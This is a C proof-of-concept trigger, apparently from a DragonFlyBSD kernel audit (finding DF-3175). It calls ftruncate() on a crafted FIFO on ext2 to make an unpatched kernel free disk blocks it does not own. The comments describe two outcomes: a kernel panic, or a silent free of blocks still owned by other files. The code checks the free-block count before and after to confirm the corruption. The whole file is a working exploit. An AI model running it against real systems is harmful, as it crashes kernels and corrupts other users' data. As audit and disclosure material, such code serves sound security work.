⬢ DragonFlyBSD Kernel Audit
DF-3175 / trigger.c
← back to finding ↓ download raw
/*
 * DF-3175 trigger — ftruncate() a crafted FIFO inode on ext2.
 *
 *   ./trigger <fifo-path>
 *
 * Opens the FIFO O_RDWR (never blocks, satisfies FWRITE) and calls
 * ftruncate(fd, 0).  On an unpatched DragonFly kernel this runs
 * ext2_truncate() on a VFIFO vnode: ext2_ind_truncate() frees the
 * inode's i_db[] slots as disk blocks.
 *
 *   targetA (db[] = clear-bit blocks)  -> panic("ext2_blkfree: freeing
 *                                        free block")  [kernel dies]
 *   targetB (db[0] = live 'victim' blk)-> silent free, f_bfree += 1
 *
 * Prints statfs(2) f_bfree before/after so the silent-free case is
 * observable without kernel-side instrumentation.
 */
#include <sys/types.h>
#include <sys/statvfs.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *path;
	struct statvfs pre, post;
	int fd, rc;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <fifo-path>\n", argv[0]);
		return (2);
	}
	path = argv[1];

	if (statvfs(path, &pre) != 0) {
		fprintf(stderr, "[trigger] statvfs(pre): %s\n",
		    strerror(errno));
		return (2);
	}
	printf("[trigger] pre : f_bfree=%llu f_blocks=%llu\n",
	    (unsigned long long)pre.f_bfree,
	    (unsigned long long)pre.f_blocks);

	fd = open(path, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "[trigger] open(%s): %s\n", path,
		    strerror(errno));
		return (2);
	}
	printf("[trigger] opened %s (fd=%d), calling ftruncate(fd, 0)...\n",
	    path, fd);
	fflush(stdout);

	rc = ftruncate(fd, 0);
	printf("[trigger] ftruncate returned rc=%d errno=%d (%s)\n", rc,
	    errno, rc ? strerror(errno) : "success");
	fflush(stdout);

	if (statvfs(path, &post) == 0) {
		long long d = (long long)post.f_bfree -
		    (long long)pre.f_bfree;
		printf("[trigger] post: f_bfree=%llu (delta %lld)\n",
		    (unsigned long long)post.f_bfree, d);
		if (d > 0)
			printf("[trigger] SILENT FREE CONFIRMED: %lld block(s) "
			    "freed that are still owned by other files\n", d);
	} else {
		fprintf(stderr, "[trigger] statvfs(post): %s\n",
		    strerror(errno));
	}
	close(fd);
	return (rc ? 1 : 0);
}